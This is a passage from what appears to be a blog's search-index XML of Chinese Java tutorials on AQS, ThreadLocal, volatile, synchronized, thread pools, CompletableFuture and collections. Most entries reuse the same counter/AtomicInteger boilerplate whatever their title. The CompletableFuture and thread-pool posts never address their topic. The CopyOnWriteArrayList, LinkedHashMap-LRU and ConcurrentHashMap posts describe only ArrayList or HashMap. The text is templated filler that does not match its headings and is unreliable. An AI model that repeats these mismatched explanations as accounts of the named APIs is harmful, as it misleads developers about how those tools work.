title="总结"></a>总结</h2><p>理解 JVM 内存模型是成为高级 Java 工程师的必备技能。在实际项目中，配置合适的堆内存大小、选择合适的垃圾收集器，都需要对内存布局有清晰的认识。</p>]]></content>
      
      
      <categories>
          
          <category> JVM </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> JVM </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：AQS 为什么是并发工具的基础</title>
      <link href="//aqs-wei-shi-me-shi-bing-fa-gong-ju-de-ji-chu/"/>
      <url>//aqs-wei-shi-me-shi-bing-fa-gong-ju-de-ji-chu/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：AQS-为什么是并发工具的基础"><a href="#教程：AQS-为什么是并发工具的基础" class="headerlink" title="教程：AQS 为什么是并发工具的基础"></a>教程：AQS 为什么是并发工具的基础</h1><p>在 Java 并发编程中，AQS（AbstractQueuedSynchronizer）是理解 ReentrantLock、Semaphore、CountDownLatch 等工具的关键。很多开发者每天在用这些并发工具，却未必清楚它们的底层实现都依赖同一个框架。本文从实际应用角度梳理 AQS 的核心思想，结合源码片段说明它是如何支撑各种同步器的。</p><h2 id="先建立一个最小案例"><a href="#先建立一个最小案例" class="headerlink" title="先建立一个最小案例"></a>先建立一个最小案例</h2><p>并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> <span class="variable">count</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count++;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这段代码在单线程里没有问题，但多线程同时调用 <code>add()</code> 时，<code>count++</code> 不是原子操作，结果可能比预期小。</p><h2 id="正确处理思路"><a href="#正确处理思路" class="headerlink" title="正确处理思路"></a>正确处理思路</h2><p>如果只是简单计数，可以用 <code>AtomicInteger</code>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">AtomicInteger</span> <span class="variable">count</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AtomicInteger</span>();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count.incrementAndGet();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count.get();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如果临界区里有多步业务逻辑，可以考虑 <code>synchronized</code> 或 <code>ReentrantLock</code>。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。</p><h2 id="排查建议"><a href="#排查建议" class="headerlink" title="排查建议"></a>排查建议</h2><p>线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>AQS 的核心是一个共享状态（state）加上一个双向链表，线程获取锁失败时会被包装成节点加入队列等待</p></li><li><p>独占模式和共享模式是 AQS 支持的两种基本模式，分别对应 ReentrantLock 和 Semaphore</p></li><li><p>tryAcquire/tryRelease 等方法由子类实现，AQS 提供模板方法和队列管理</p></li><li><p>ConditionObject 是 AQS 的内部类，实现了 Condition 接口，支持线程等待/通知</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>理解 AQS 不仅能帮你更好地使用并发工具，遇到问题时也能快速定位根源。比如排查死锁、分析线程阻塞原因时，知道 AQS 的工作机制会非常有帮助。</p>]]></content>
      
      
      <categories>
          
          <category> Java并发 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 并发 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：CompletableFuture 编排异步任务</title>
      <link href="//completablefuture-bian-pai-yi-bu-ren-wu/"/>
      <url>//completablefuture-bian-pai-yi-bu-ren-wu/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：CompletableFuture-编排异步任务"><a href="#教程：CompletableFuture-编排异步任务" class="headerlink" title="教程：CompletableFuture 编排异步任务"></a>教程：CompletableFuture 编排异步任务</h1><p>CompletableFuture 让异步编程更优雅。本文讲它的核心能力和组合方式。</p><h2 id="先建立一个最小案例"><a href="#先建立一个最小案例" class="headerlink" title="先建立一个最小案例"></a>先建立一个最小案例</h2><p>并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> <span class="variable">count</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count++;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这段代码在单线程里没有问题，但多线程同时调用 <code>add()</code> 时，<code>count++</code> 不是原子操作，结果可能比预期小。</p><h2 id="正确处理思路"><a href="#正确处理思路" class="headerlink" title="正确处理思路"></a>正确处理思路</h2><p>如果只是简单计数，可以用 <code>AtomicInteger</code>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">AtomicInteger</span> <span class="variable">count</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AtomicInteger</span>();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count.incrementAndGet();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count.get();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如果临界区里有多步业务逻辑，可以考虑 <code>synchronized</code> 或 <code>ReentrantLock</code>。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。</p><h2 id="排查建议"><a href="#排查建议" class="headerlink" title="排查建议"></a>排查建议</h2><p>线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。</p>]]></content>
      
      
      <categories>
          
          <category> Java并发 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 并发 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：ThreadLocal 的使用和内存泄漏问题</title>
      <link href="//threadlocal-de-shi-yong-he-nei-cun-xie-lou-wen-ti/"/>
      <url>//threadlocal-de-shi-yong-he-nei-cun-xie-lou-wen-ti/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：ThreadLocal-的使用和内存泄漏问题"><a href="#教程：ThreadLocal-的使用和内存泄漏问题" class="headerlink" title="教程：ThreadLocal 的使用和内存泄漏问题"></a>教程：ThreadLocal 的使用和内存泄漏问题</h1><p>ThreadLocal 解决了什么问题、会引发什么问题，这是一个经典话题。很多人用 ThreadLocal 存储用户上下文，却忽略了内存泄漏的风险。本文从原理到内存泄漏的处理方式都覆盖到。</p><h2 id="先建立一个最小案例"><a href="#先建立一个最小案例" class="headerlink" title="先建立一个最小案例"></a>先建立一个最小案例</h2><p>并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> <span class="variable">count</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count++;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这段代码在单线程里没有问题，但多线程同时调用 <code>add()</code> 时，<code>count++</code> 不是原子操作，结果可能比预期小。</p><h2 id="正确处理思路"><a href="#正确处理思路" class="headerlink" title="正确处理思路"></a>正确处理思路</h2><p>如果只是简单计数，可以用 <code>AtomicInteger</code>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">AtomicInteger</span> <span class="variable">count</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AtomicInteger</span>();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count.incrementAndGet();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count.get();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如果临界区里有多步业务逻辑，可以考虑 <code>synchronized</code> 或 <code>ReentrantLock</code>。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。</p><h2 id="排查建议"><a href="#排查建议" class="headerlink" title="排查建议"></a>排查建议</h2><p>线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>ThreadLocal 为每个线程提供独立的变量副本</p></li><li><p>底层使用 ThreadLocalMap 存储，key 是弱引用</p></li><li><p>内存泄漏的原因：ThreadLocal 被回收，但 Entry 仍然引用着 value</p></li><li><p>解决方案：使用完毕后调用 remove() 方法</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>ThreadLocal 是一个强大的工具，但需要谨慎使用。在实际项目中，结合 try-finally 块确保资源被正确清理，可以有效避免内存泄漏问题。</p>]]></content>
      
      
      <categories>
          
          <category> Java并发 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 并发 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：volatile 能保证什么不能保证什么</title>
      <link href="//volatile-neng-bao-zheng-shi-me-bu-neng-bao-zheng-shi-me/"/>
      <url>//volatile-neng-bao-zheng-shi-me-bu-neng-bao-zheng-shi-me/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：volatile-能保证什么不能保证什么"><a href="#教程：volatile-能保证什么不能保证什么" class="headerlink" title="教程：volatile 能保证什么不能保证什么"></a>教程：volatile 能保证什么不能保证什么</h1><p>volatile 和 synchronized 经常被拿来比较，但它们解决的问题不一样。很多人误以为 volatile 能保证原子性，其实它只能保证可见性和禁止指令重排。本文从内存模型角度说明 volatile 的作用和局限性。</p><h2 id="先建立一个最小案例"><a href="#先建立一个最小案例" class="headerlink" title="先建立一个最小案例"></a>先建立一个最小案例</h2><p>并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> <span class="variable">count</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count++;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这段代码在单线程里没有问题，但多线程同时调用 <code>add()</code> 时，<code>count++</code> 不是原子操作，结果可能比预期小。</p><h2 id="正确处理思路"><a href="#正确处理思路" class="headerlink" title="正确处理思路"></a>正确处理思路</h2><p>如果只是简单计数，可以用 <code>AtomicInteger</code>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">AtomicInteger</span> <span class="variable">count</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AtomicInteger</span>();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count.incrementAndGet();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count.get();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如果临界区里有多步业务逻辑，可以考虑 <code>synchronized</code> 或 <code>ReentrantLock</code>。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。</p><h2 id="排查建议"><a href="#排查建议" class="headerlink" title="排查建议"></a>排查建议</h2><p>线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>volatile 保证可见性：一个线程的修改对其他线程立即可见</p></li><li><p>volatile 禁止指令重排：确保指令按照代码顺序执行</p></li><li><p>volatile 不保证原子性：复合操作仍然需要同步</p></li><li><p>volatile 适合作为状态标志，不适合作为计数器</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>volatile 是一个轻量级的同步手段，适用于特定场景。在实际项目中，需要根据需求选择合适的同步方式，不要过度依赖 volatile。</p>]]></content>
      
      
      <categories>
          
          <category> Java并发 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 并发 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：synchronized 和 ReentrantLock 怎么选</title>
      <link href="//synchronized-he-reentrantlock-zen-me-xuan/"/>
      <url>//synchronized-he-reentrantlock-zen-me-xuan/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：synchronized-和-ReentrantLock-怎么选"><a href="#教程：synchronized-和-ReentrantLock-怎么选" class="headerlink" title="教程：synchronized 和 ReentrantLock 怎么选"></a>教程：synchronized 和 ReentrantLock 怎么选</h1><p>synchronized 是 Java 并发中最常用也最容易被误解的关键字。从早期的重量级锁到现在的锁升级机制，JVM 对它做了很多优化。本文从底层原理到实际使用，把关键细节讲清楚。</p><h2 id="先建立一个最小案例"><a href="#先建立一个最小案例" class="headerlink" title="先建立一个最小案例"></a>先建立一个最小案例</h2><p>并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> <span class="variable">count</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count++;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这段代码在单线程里没有问题，但多线程同时调用 <code>add()</code> 时，<code>count++</code> 不是原子操作，结果可能比预期小。</p><h2 id="正确处理思路"><a href="#正确处理思路" class="headerlink" title="正确处理思路"></a>正确处理思路</h2><p>如果只是简单计数，可以用 <code>AtomicInteger</code>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">AtomicInteger</span> <span class="variable">count</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AtomicInteger</span>();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count.incrementAndGet();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count.get();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如果临界区里有多步业务逻辑，可以考虑 <code>synchronized</code> 或 <code>ReentrantLock</code>。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。</p><h2 id="排查建议"><a href="#排查建议" class="headerlink" title="排查建议"></a>排查建议</h2><p>线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>synchronized 可以修饰方法或代码块，前者锁对象实例，后者锁指定对象</p></li><li><p>锁升级过程：无锁 → 偏向锁 → 轻量级锁 → 重量级锁</p></li><li><p>锁消除和锁粗化是 JVM 的优化手段</p></li><li><p>synchronized 保证原子性、可见性和有序性</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>synchronized 是 Java 并发的基础，理解它的工作机制很重要。在实际项目中，合理使用 synchronized 可以保证线程安全，但也要注意锁的粒度。</p>]]></content>
      
      
      <categories>
          
          <category> Java并发 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 并发 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：线程池参数如何设置才靠谱</title>
      <link href="//xian-cheng-chi-can-shu-ru-he-she-zhi-cai-kao-pu/"/>
      <url>//xian-cheng-chi-can-shu-ru-he-she-zhi-cai-kao-pu/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：线程池参数如何设置才靠谱"><a href="#教程：线程池参数如何设置才靠谱" class="headerlink" title="教程：线程池参数如何设置才靠谱"></a>教程：线程池参数如何设置才靠谱</h1><p>线程池参数设置不合理会导致各种问题。本文讲合理的设置方式和监控指标。</p><h2 id="先建立一个最小案例"><a href="#先建立一个最小案例" class="headerlink" title="先建立一个最小案例"></a>先建立一个最小案例</h2><p>并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> <span class="variable">count</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count++;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这段代码在单线程里没有问题，但多线程同时调用 <code>add()</code> 时，<code>count++</code> 不是原子操作，结果可能比预期小。</p><h2 id="正确处理思路"><a href="#正确处理思路" class="headerlink" title="正确处理思路"></a>正确处理思路</h2><p>如果只是简单计数，可以用 <code>AtomicInteger</code>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">AtomicInteger</span> <span class="variable">count</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AtomicInteger</span>();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count.incrementAndGet();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count.get();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如果临界区里有多步业务逻辑，可以考虑 <code>synchronized</code> 或 <code>ReentrantLock</code>。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。</p><h2 id="排查建议"><a href="#排查建议" class="headerlink" title="排查建议"></a>排查建议</h2><p>线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。</p>]]></content>
      
      
      <categories>
          
          <category> Java并发 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 并发 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：CopyOnWriteArrayList 适合什么场景</title>
      <link href="//copyonwritearraylist-gua-he-shi-me-chang-jing/"/>
      <url>//copyonwritearraylist-gua-he-shi-me-chang-jing/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：CopyOnWriteArrayList-适合什么场景"><a href="#教程：CopyOnWriteArrayList-适合什么场景" class="headerlink" title="教程：CopyOnWriteArrayList 适合什么场景"></a>教程：CopyOnWriteArrayList 适合什么场景</h1><p>ArrayList 底层是数组，适合按下标快速访问，也适合尾部追加。它不适合频繁在中间插入或删除，因为这会触发元素搬移。</p><h2 id="基本使用"><a href="#基本使用" class="headerlink" title="基本使用"></a>基本使用</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">List&lt;String&gt; names = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();</span><br><span class="line">names.add(<span class="string">&quot;Java&quot;</span>);</span><br><span class="line">names.add(<span class="string">&quot;Spring&quot;</span>);</span><br><span class="line">System.out.println(names.get(<span class="number">0</span>));</span><br></pre></td></tr></table></figure><h2 id="扩容机制"><a href="#扩容机制" class="headerlink" title="扩容机制"></a>扩容机制</h2><p>ArrayList 容量不够时会扩容。扩容不是免费操作，需要创建新数组并复制旧数据。如果能预估大小，建议指定初始容量：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">List&lt;Long&gt; ids = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;(<span class="number">1000</span>);</span><br></pre></td></tr></table></figure><h2 id="删除元素的正确方式"><a href="#删除元素的正确方式" class="headerlink" title="删除元素的正确方式"></a>删除元素的正确方式</h2><p>遍历时删除元素，不要直接在 for-each 里 remove：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Iterator&lt;String&gt; iterator = names.iterator();</span><br><span class="line"><span class="keyword">while</span> (iterator.hasNext()) &#123;</span><br><span class="line">    <span class="keyword">if</span> (iterator.next().startsWith(<span class="string">&quot;J&quot;</span>)) &#123;</span><br><span class="line">        iterator.remove();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> Java集合 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 集合 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：LinkedHashMap 如何实现 LRU 缓存</title>
      <link href="//linkedhashmap-ru-he-shi-xian-lru-huan-cun/"/>
      <url>//linkedhashmap-ru-he-shi-xian-lru-huan-cun/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：LinkedHashMap-如何实现-LRU-缓存"><a href="#教程：LinkedHashMap-如何实现-LRU-缓存" class="headerlink" title="教程：LinkedHashMap 如何实现 LRU 缓存"></a>教程：LinkedHashMap 如何实现 LRU 缓存</h1><p>HashMap 是 Java 后端最常用的数据结构之一。它适合通过 key 快速找到 value，平均情况下查询、插入接近 O(1)。真正理解 HashMap，要抓住三个点：数组、链表/红黑树、扩容。</p><h2 id="基本使用"><a href="#基本使用" class="headerlink" title="基本使用"></a>基本使用</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Map&lt;Long, String&gt; userMap = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">userMap.put(<span class="number">1L</span>, <span class="string">&quot;小乐&quot;</span>);</span><br><span class="line">userMap.put(<span class="number">2L</span>, <span class="string">&quot;张三&quot;</span>);</span><br><span class="line">System.out.println(userMap.get(<span class="number">1L</span>));</span><br></pre></td></tr></table></figure><p>HashMap 会先根据 key 的 hash 值定位数组下标。如果多个 key 落在同一个位置，就会形成冲突，Java 8 以后冲突链较长时会转成红黑树。</p><h2 id="扩容为什么要注意"><a href="#扩容为什么要注意" class="headerlink" title="扩容为什么要注意"></a>扩容为什么要注意</h2><p>默认负载因子是 0.75。元素数量超过阈值时，HashMap 会扩容，数组容量通常变成原来的 2 倍。扩容需要重新分布元素，所以如果你大概知道数据量，建议初始化容量：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Map&lt;Long, String&gt; userMap = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;(<span class="number">1024</span>);</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>HashMap 不是线程安全的，多线程写入要用 ConcurrentHashMap。</li><li>自定义对象作为 key 时，要正确重写 equals 和 hashCode。</li><li>不要在遍历 Map 时直接修改结构，必要时用迭代器或收集后再处理。</li></ul>]]></content>
      
      
      <categories>
          
          <category> Java集合 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 集合 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：ConcurrentHashMap 为什么适合并发场景</title>
      <link href="//concurrenthashmap-wei-shi-me-gua-he-bing-fa-chang-jing/"/>
      <url>//concurrenthashmap-wei-shi-me-gua-he-bing-fa-chang-jing/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：ConcurrentHashMap-为什么适合并发场景"><a href="#教程：ConcurrentHashMap-为什么适合并发场景" class="headerlink" title="教程：ConcurrentHashMap 为什么适合并发场景"></a>教程：ConcurrentHashMap 为什么适合并发场景</h1><p>ConcurrentHashMap 为什么在并发场景下更合适，背后涉及哪些实现细节。从 Java 7 到 Java 8，它的实现发生了很大变化。本文结合实际代码讲清楚这些变化和设计思想。</p><h2 id="基本使用"><a href="#基本使用" class="headerlink" title="基本使用"></a>基本使用</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Map&lt;Long, String&gt; userMap = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">userMap.put(<span class="number">1L</span>, <span class="string">&quot;小乐&quot;</span>);</span><br><span class="line">userMap.put(<span class="number">2L</span>, <span class="string">&quot;张三&quot;</span>);</span><br><span class="line">System.out.println(userMap.get(<span class="number">1L</span>));</span><br></pre></td></tr></table></figure><p>HashMap 会先根据 key 的 hash 值定位数组下标。如果多个 key 落在同一个位置，就会形成冲突，Java 8 以后冲突链较长时会转成红黑树。</p><h2 id="扩容为什么要注意"><a href="#扩容为什么要注意" class="headerlink" title="扩容为什么要注意"></a>扩容为什么要注意</h2><p>默认负载因子是 0.75。元素数量超过阈值时，HashMap 会扩容，数组容量通常变成原来的 2 倍。扩容需要重新分布元素，所以如果你大概知道数据量，建议初始化容量：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Map&lt;Long, String&gt; userMap = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;(<span class="number">1024</span>);</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>HashMap 不是线程安全的，多线程写入要用 ConcurrentHashMap。</li><li>自定义对象作为 key 时，要正确重写 equals 和 hashCode。</li><li>不要在遍历 Map 时直接修改结构，必要时用迭代器或收集后再处理。</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>Java 7 